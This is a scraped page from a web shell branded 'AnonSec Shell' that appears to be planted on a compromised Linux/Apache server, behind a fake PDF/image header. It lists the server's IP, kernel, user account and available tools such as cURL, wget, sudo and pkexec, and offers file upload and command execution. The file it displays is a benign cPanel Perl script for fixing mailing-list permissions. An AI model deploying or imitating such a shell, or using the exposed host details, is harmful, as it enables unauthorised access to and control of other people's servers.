%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /scripts/fixmailinglistperms
#! /usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/fixmailinglistperms             Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;

use Cpanel::Mailman::Filesys     ();
use Cpanel::Mailman::ListManager ();

sub usage {
    my ($message) = @_;

    print STDERR "$message\n" if $message;
    print STDERR <<"END";
usage: $0 <list>

Repair the permissions of all the files and directories comprising a mailing
list.
END

    exit 1;
}

usage('Not enough arguments') unless @ARGV;

foreach my $list (@ARGV) {
    if ( !Cpanel::Mailman::Filesys::does_full_list_exist($list) ) {
        warn "This system does not have a mailing list named “$list”.$/";
        next;
    }

    Cpanel::Mailman::ListManager::fix_mailman_list_permissions( { 'list' => $list } );
}

Anon7 - 2022
AnonSec Team